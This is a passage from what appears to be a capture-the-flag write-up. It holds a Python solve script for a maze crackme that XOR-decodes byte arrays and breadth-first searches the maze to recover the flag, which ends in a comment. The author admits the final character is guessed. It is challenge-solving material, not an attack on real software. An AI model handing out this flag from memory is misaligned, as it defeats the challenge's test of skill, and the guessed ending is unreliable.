13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2023/03/24 19:59:52
# @Author: wd-2711
'''

class Node():
    def __init__(self, c:str, pos, parent, is_leaf, layer_num, not_action, act):
        self.c_action = c
        self.x, self.y = pos[0], pos[1]
        self.parent = parent
        self.is_leaf = is_leaf
        self.layer_num = layer_num
        self.not_action = not_action
        self.act = act
    
    def get_seq(self):
        n = self
        res = []
        res_c = []
        while n.parent != None:
            res_c.append(n.c_action)
            res.append(n.act)
            n = n.parent
        res.append(n.act)
        res_c.append(n.c_action)
        return len(res), res, res_c

if __name__ == "__main__":
    byte_2103C = [0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3, 0x11, 0x2A, 0x35, 0xF6, 0x00, 0x00, 0x00]
    v5_tar = [0x63, 0xD2, 0xFE, 0x4F, 0xB9, 0xD9, 0x00, 0x3F, 0xA0, 0x80, 0x43, 0x50, 0x55]
    res = ""
    for i, v in enumerate(v5_tar):
        if i % 3 == 0:
            v += 0x100
            res += chr((v - byte_2103C[i]) & 0xff)
        elif i % 3 == 1:
            res += chr((v + byte_2103C[i]) & 0xff)
        elif i % 3 == 2:
            res += chr(v ^ byte_2103C[i])
    print(res, end = "")

    maze = "*******   E** ***** ***** *****    *"
    v4 = [0x53, 0x3E, 0x20, 0x41, 0x1E, 0x2C, 0x24, 0x0B, 0x36, 0x28, 0x37, 0x52, 0x0E]

    # v7纵坐标，v8横坐标
    v7, v8 = 1, 4

    # 走迷宫
    all_node = []
    layer_node = [Node(None, (v8, v7), None, True, 0, None, None)]
    all_node.extend(layer_node)
    i = -1
    while len(layer_node) and i < 11:
        i += 1
        new_layer_node = []
        for ln in layer_node:
            v7, v8 = ln.y, ln.x
            for c in range(32, 128):
                cc = c ^ v4[i]
                v7_tmp, v8_tmp = v7, v8
                if cc == ord('a') and v8 != 0:
                    v8 -= 1
                elif cc == ord('d') and v8 != 5:
                    v8 += 1
                elif cc == ord('s') and v7 != 5:
                    v7 += 1
                elif cc == ord('w') and v7 != 0:
                    v7 -= 1
                else:
                    continue
                
                if maze[6*v7+v8] != "*" and ln.not_action != cc:
                    if cc == ord('a'):
                        not_action = ord('d')
                    elif cc == ord('d'):
                        not_action = ord('a')
                    elif cc == ord('s'):
                        not_action = ord('w')
                    elif cc == ord('w'):
                        not_action = ord('s')
                    new_layer_node.append(Node(c, (v8, v7), ln, True, i, not_action, cc))
                    ln.is_leaf = False
                v7, v8 = v7_tmp, v8_tmp
        all_node.extend(new_layer_node)
        layer_node = new_layer_node

    for n in all_node:
        l, r, r2 = n.get_seq()
        if l > 10:
            for i in r2[::-1][1:]:
                print(chr(i), end = "")
            print("")
# flag{welcome_2_A2m_WoRL

 最后可以猜出，flag{welcome_2_A2m_WoRLD}或者flag{welcome_2_A2m_WoRLd}

留言

2023-03-26

© 2024 wd-z711

⬆︎TOP